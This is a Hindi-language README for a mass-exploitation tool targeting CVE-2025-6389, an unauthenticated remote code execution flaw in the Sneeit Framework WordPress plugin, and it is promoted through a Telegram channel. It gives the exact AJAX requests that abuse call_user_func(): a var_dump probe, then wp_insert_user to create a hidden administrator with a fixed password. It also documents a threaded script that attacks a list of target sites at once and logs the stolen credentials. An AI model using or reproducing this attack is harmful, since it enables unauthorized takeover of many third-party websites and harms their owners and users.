
Sneeit Framework <= 8.3 - sneeit_articles_pagination_callback में बिना प्रमाणीकरण के रिमोट कोड निष्पादन
Sneeit Framework <= 8.3 - अनधिकृत रिमोट कोड निष्पादन sneeit_articles_pagination_callback में
_______ ________ ___ ___ ___ _____ __ ____ ___ ___
/ ____\ \ / / ____| |__ \ / _ \__ \| ____| / /|___ \ / _ \ / _ \
| | \ \ / /| |__ ______ ) | | | | ) | |__ ______ / /_ __) | (_) | (_) |
| | \ \/ / | __|______/ /| | | |/ /|___ \______| '_ \|__ < > _ < \__, |
| |____ \ / | |____ / /_| |_| / /_ ___) | | (_) |__) | (_) | / /
\_____| \/ |______| |____|\___|/____|____/ \___/____/ \___/ /_/
📡 अगली ड्रॉप को मिस न करें। Telegram पर @KNxploited को फॉलो करें — नए खुले CVE, काम करने वाले एक्सप्लॉइट और एलीट सुरक्षा अनुसंधान के लिए निश्चित चैनल। पहले जानें। पहले कार्रवाई करें।
CVE-2025-6389 एक CVSS 9.8 क्रिटिकल रिमोट कोड निष्पादन भेद्यता है जो WordPress के लिए Sneeit Framework प्लगइन में पाई गई है।
यह दोष sneeit_articles_pagination_callback() फ़ंक्शन में मौजूद है, जो उपयोगकर्ता-आपूर्ति किए गए इनपुट को बिना जाँच के PHP के call_user_func() में पास करता है — एक अनधिकृत हमलावर किसी भी PHP फ़ंक्शन को मनमाने तर्कों के साथ कॉल कर सकता है, जिसमें wp_insert_user भी शामिल है, जो प्रभावी रूप से स्वयं को पूर्ण व्यवस्थापक पहुँच प्रदान करता है या कोई भी सर्वर-साइड कोड निष्पादित कर सकता है।
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2025-6389 |
| प्लगइन | Sneeit Framework (sneeit-framework) |
| प्रभावित संस्करण | सभी संस्करण 8.3 तक सहित |
| भेद्यता प्रकार | रिमोट कोड निष्पादन (RCE) |
| हमला वेक्टर | नेटवर्क — कोई प्रमाणीकरण आवश्यक नहीं |
| CVSS 3.1 स्कोर | 9.8 क्रिटिकल |
| CVSS वेक्टर | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| प्रभाव | पूर्ण सर्वर समझौता / व्यवस्थापक अधिग्रहण |
| शोधकर्ता | Nxploited |
इसका मूल कारण प्लगइन के AJAX हैंडलर में PHP के call_user_func() का दुरुपयोग है:
// प्रमाणीकरण जाँच के बिना पंजीकृत
add_action('wp_ajax_nopriv_sneeit_articles_pagination', 'sneeit_articles_pagination_callback');
function sneeit_articles_pagination_callback() {
$callback = $_POST['callback']; // ← उपयोगकर्ता-नियंत्रित फ़ंक्शन नाम
$args = json_decode(stripslashes($_POST['args']), true); // ← उपयोगकर्ता-नियंत्रित तर्क
// किसी भी PHP फ़ंक्शन को किसी भी तर्क के साथ कॉल करना — शून्य मान्यता
$result = call_user_func($callback, ...$args);
echo $result;
die();
}
यह क्यों क्रिटिकल है:
wp_ajax_nopriv_* = किसी के लिए भी सुलभ, लॉगिन आवश्यक नहींcall_user_func($callback, $args) = मनमानी फ़ंक्शन आह्वानvar_dump, system, wp_insert_user, eval, या कोई भी PHP/WordPress फ़ंक्शन कॉल कर सकता हैचरण 1 — जाँच / फिंगरप्रिंट
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = sneeit_articles_pagination
callback = var_dump
args = ["test"]
अपेक्षित प्रतिक्रिया → array(1) { [0]=> string(4) "test" }
↓
पुष्टि करता है: call_user_func() पहुँच योग्य है और आउटपुट प्रतिबिंबित कर रहा है
──────────────────────────────────────────────────────────────────
चरण 2 — व्यवस्थापक खाता निर्माण
──────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = sneeit_articles_pagination
callback = wp_insert_user
args = {"user_login":"Nxploited_XXXX",
"user_pass":"xplpass",
"user_email":"...",
"role":"administrator"}
परिणाम → लक्ष्य पर चुपचाप नया व्यवस्थापक खाता बनाया गया
↓
पूर्ण WordPress व्यवस्थापक पैनल पहुँच प्राप्त ✔️
pip install requests rich
| निर्भरता | उद्देश्य |
|---|---|
requests | सत्र/प्रॉक्सी समर्थन के साथ HTTP अनुरोध |
rich | लाइव टर्मिनल डैशबोर्ड, पैनल, प्रगति |
threading | एक साथ बहु-लक्ष्य प्रसंस्करण |
queue | थ्रेड-सुरक्षित लक्ष्य वितरण |
Python 3.8+ आवश्यक है। टाइप हिंट
tuple[...]सिंटैक्स का उपयोग करते हैं जो 3.9+ में शुरू हुआ — सर्वोत्तम अनुकूलता के लिए 3.9+ का उपयोग करें।
CVE-2025-6389/
├── CVE-2025-6389.py # मुख्य शोषण स्क्रिप्ट
├── list.txt # लक्ष्य URL — प्रति पंक्ति एक
├── success_results.txt # स्वतः उत्पन्न: सफल लक्ष्य + क्रेडेंशियल्स
└── debug_responses/ # स्वतः उत्पन्न: डिबगिंग के लिए कच्चे सर्वर प्रतिक्रियाएँ
└── <target>.resp.txt
list.txt बनाएं जिसमें प्रति पंक्ति एक URL हो:
https://target1.com
https://target2.com
http://target3.com
बिना
http://याhttps://वाले URL स्वचालित रूप सेhttp://से उपसर्गित हो जाते हैं।
python CVE-2025-6389.py
आपसे पूछा जाएगा:
लक्ष्य फ़ाइल का नाम (डिफ़ॉल्ट list.txt): list.txt
थ्रेड्स की संख्या (डिफ़ॉल्ट 10): 20
स्क्रिप्ट एक रीयल-टाइम Rich डैशबोर्ड लॉन्च करती है जो दिखाता है:
┌─────────────────────────────────────────────────────────────────────┐
│ [ASCII BANNER] │
├──────────────────────────────┬──────────────────────────────────────┤
│ जानकारी │ आँकड़े │
│ उपयोग: लक्ष्य डालें... │ कुल लक्ष्य: 150 │
│ थ्रेड्स: 20 │ प्रसंस्कृत: 87 │
│ पासवर्ड: xplpass │ सफलताएँ: 12 │
│ सफलता लॉग: success... │ विफलताएँ: 75 │
│ डीबग डीआईआर: debug_responses │ बीता समय: 00:01:43 │
├──────────────────────────────┴──────────────────────────────────────┤
│ हाल के परिणाम │
│ समय लक्ष्य परिणाम │
│ 14:23:01 https://victim.com SUCCESS │
│ 14:23:03 https://example.net FAIL │
└─────────────────────────────────────────────────────────────────────┘
सफल शोषण success_results.txt में सहेजे जाते हैं:
https://victim.com | USER: Nxploited_4821 | PASS: xplpass | EMAIL: [email protected]
डीबग प्रतिक्रियाएँ (विफल लक्ष्यों के लिए) debug_responses/ के अंतर्गत सहेजी जाती हैं:
debug_responses/
└── https___victim.com.resp.txt ← विश्लेषण के लिए कच्ची सर्वर प्रतिक्रिया